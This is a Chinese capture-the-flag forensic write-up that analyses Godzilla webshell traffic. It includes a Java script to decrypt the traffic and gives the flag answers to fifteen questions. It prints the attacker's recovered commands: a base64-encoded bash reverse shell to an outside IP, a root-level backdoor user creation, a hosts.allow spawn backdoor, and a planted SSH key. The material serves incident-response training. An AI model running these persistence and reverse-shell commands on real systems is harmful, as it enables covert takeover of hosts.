哥斯拉ekp版本流量分析
前言
实战中使用的webshell连接工具基本上都是魔改或内部研发的,通过网上公开的哥斯拉ekp版本来学习如果HW中遇到魔改的应该如何去下手分析
请你登录服务器结合数据包附件来分析黑客的入侵行为
用户名:root
密码:toor
SSH连接:ssh root@ip -p222
题目
1、黑客上传的木马文件名是什么?
flag{.index.jsp}
2、黑客上传的木马连接密码是什么?
flag{mypass}
3、黑客上传的木马连接密钥是什么?
flag{9adbe0b3033881f8}
4、黑客连接webshell后执行的第一条命令是什么?
前面都是哥斯拉初始化流量,这里开始用户执行
然后根据前面的jsp木马脚本进行解密
请求解密
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
|
package com.ezgame;
import java.io.*;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;
public class test {
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public static byte[] x(byte[] s, boolean m, String xc) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}
public static byte[] base64Decode(byte[] bytes) {
Class base64;
byte[] value = null;
Object decoder;
try {
base64 = Class.forName("java.util.Base64");
decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
} catch (Exception e2) {
}
}
return value;
}
public static void main(String[] args) throws Exception {
String xc = "9adbe0b3033881f8";
String pass = "mypass";
String md5 = md5(pass + xc);
Scanner scanner = new Scanner(System.in);
System.out.println("请输入URL编码的字符串:");
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
String encodedString = reader.readLine();
String decodedString = URLDecoder.decode(encodedString, StandardCharsets.UTF_8.toString());
// System.out.println("URL解码后的字符串:" + decodedString);
scanner.close();
byte[] data = base64Decode(decodedString.getBytes());
data = base64Decode(data);
System.out.println(new String(data));
byte[] res = x(data, false, xc);
FileOutputStream fos = new FileOutputStream("res1.zip");
fos.write(res);
fos.close();
}
}
|
响应解密脚本,主要是少了一次base64
1
2
3
4
5
6
7
8
9
10
11
|
Scanner scanner = new Scanner(System.in);
System.out.println("请输入URL编码的字符串:");
String encodedString = scanner.nextLine(); // 获取用户输入的字符串
scanner.close();
byte[] bytes = base64Decode(encodedString.getBytes());
System.out.println(new String(bytes));
byte[] res = x(bytes, false, xc);
FileOutputStream fos = new FileOutputStream("res2.zip");
fos.write(res);
fos.close();
|
解密出来是一个zip压缩包,解压后丢到010即可
flag{cat /etc/passwd}
5、这个木马是根据哪个参数进行回显的?(提交参数名)
解密和解压后看到执行结果
得到参数名是Rec106e_config,当然从代码里也可以看出
flag{Rec106e_config}
6、黑客留下后门的反连的IP和PORT是什么?(flag{IP,PORT})
这条数据没有回显示,很可疑,解密后发现是反弹shell
1
|
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMjA1LzQ0NDQgMD4mMQ==|base64 -d|bash
|
flag{192.168.31.205,4444}
7、黑客通过后门反连执行的第一条命令是什么?
后续直接过滤这个ip和port的流量即可
flag{ls}
8、黑客新增的后门用户名密码是什么?(提交flag{username,password})
新增了一个x用户且密码是Xj@666.然后添加到root组
1
2
|
echo dXNlcmFkZCAtcCBgb3BlbnNzbCBwYXNzd2QgLTEgLXNhbHQgJ3NhbHQnIFhqQDY2Ni5gIHggLW8gLXUgMCAtZyByb290IC1HIHJvb3QgLXMgL2Jpbi9iYXNoIA==|base64 -d|bash
useradd -p `openssl passwd -1 -salt 'salt' Xj@666.` x -o -u 0 -g root -G root -s /bin/bash
|
flag{x,Xj@666.}
9、黑客新增的后门文件是什么?(提交完整路径)
后续就是一些ssh的流量了,猜测可能是ssh登录后操作的
出题命令:
1
|
echo ZWNobyAnQUxMOiBBTEw6IHNwYXduIChiYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4zMS4yMDAvNDQ0NCAwPiYxIikgJiA6YWxsb3cnID4gL2V0Yy9ob3N0cy5hbGxvdw==|base64 -d|bash
|
上机一些基础排查后发现后门被写到了/etc/hosts.allow文件,当有主机ssh连接时,就会自动反弹shell到黑客主机的4444端口
flag{/etc/hosts.allow}
10、黑客的后门公钥是什么?(提交公钥的md5值)
sshd_config 指定其他免认证文件
这里首先就要排查ssh配置文件,在41行发现还有一个可以免认证的文件
1
2
|
mkdir /root/.bash_h1story/
echo c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FEUE5LUDNRTCtpMXNhZmRzVTZaYjJNdW9CalpZcmVBRGp3aGJQM2R6WnBqd3g4YUM3WDFrOXNiOElFS1NqdnNXeGJiNG5DN3Ivd3pIS0hvMGJkbndkTTZSaXNqbmlvYjYrMGM0SW1CemtzeHZuUjNsSmpRZTVIdyt3aTQreW5BL0QzVTE5T2F6UnhjYTVJMUw2T05zcFNBYTNzNHN3MlFveGJ1QlZGZWwrSUtCemVicDhLN1ZCM0tyM1pscnk1TlRkNTJJbm4zNDd6WldmYjU2b2x4UmFIVEo2SVhBSkxlRm1HVDZSMm5EdWwybFk4SFdTMkQ1azhsREM5b05ld1RqdEZLelBWaTlydER6R0h4RGMxK2szZ0tFMlFrS1VqQkVZZmVLbVUrTjVHbVRUM3RJWWZySlNmV2Z4d0RyQ3Z2aHFuZjJ3WlFZdFpDTmY0OEMvb3BIOEVoUkJRckgvWDk0ZHJYK2VYSk9tb3pRektKZmRpZFFzaFJ3U0tEZmY2dzFnWWs9IHhpYW9sZUB4aWFvbGVkZU1hY0Jvb2stUHJvLmxvY2Fs|base64 -d > /root/.bash_h1story/.keys
|
1
|
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPNKP3QL+i1safdsU6Zb2MuoBjZYreADjwhbP3dzZpjwx8aC7X1k9sb8IEKSjvsWxbb4nC7r/wzHKHo0bdnwdM6Risjniob6+0c4ImBzksxvnR3lJjQe5Hw+wi4+ynA/D3U19OazRxca5I1L6ONspSAa3s4sw2QoxbuBVFel+IKBzebp8K7VB3Kr3Zlry5NTd52Inn347zZWfb56olxRaHTJ6IXAJLeFmGT6R2nDul2lY8HWS2D5k8lDC9oNewTjtFKzPVi9rtDzGHxDc1+k3gKE2QkKUjBEYfeKmU+N5GmTT3tIYfrJSfWfxwDrCvvhqnf2wZQYtZCNf48C/opH8EhRBQrH/X94drX+eXJOmozQzKJfdidQshRwSKDff6w1gYk= xiaole@xiaoledeMacBook-Pro.local
|
将公钥内容进行md5提交即可
flag{d7bf0e27d6f533604250faceb28b6d4b}
11、黑客注入的内存马代理是那种类型的?(如flag{frp})
先看这里的流量
请求流量,简单通过字符串看出像是注入了什么东西,有user-agent 还有一个路径
流量解密,返回ok,应该是注入完成
目前还无法确定具体代理类型(前面几条数据流里有注入使用的代码,大佬看一下就知道了,后面介绍简单的更适合安服的方法)
flag{suo5}
12、这个代理的路径是什么?(如flag{/frp})
注入完成后访问了/connect,但是是404
这里开始从http转为tcp连接
发现连接了几次都是404
而第25个是成功的,观察发现两个请求的user-agent不同,这里就可以看出代理是判断了user-agent头,那就是suo5代理了。路径也就是/connect
flag{/connect}
13、这个代理的连接密码是什么?(将得到的密码md5后作为flag提交)
将user-agent的值进行md5后提交
flag{e3c77fd790af8d25fe271cd275eb405e}
14、黑客扫描了哪个ip的哪些端口?(端口按照文本顺序提交即可 如:flag{ip,21,22,23})
在最后一个流中发现扫描操作
flag{127.0.0.1,873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222}
15、黑客扫描到开放的端口有哪些?(端口从小到大排序提交 如:flag{21,22,23})
最后为1的是开放端口,0为未开放的端口
flag{222,8081}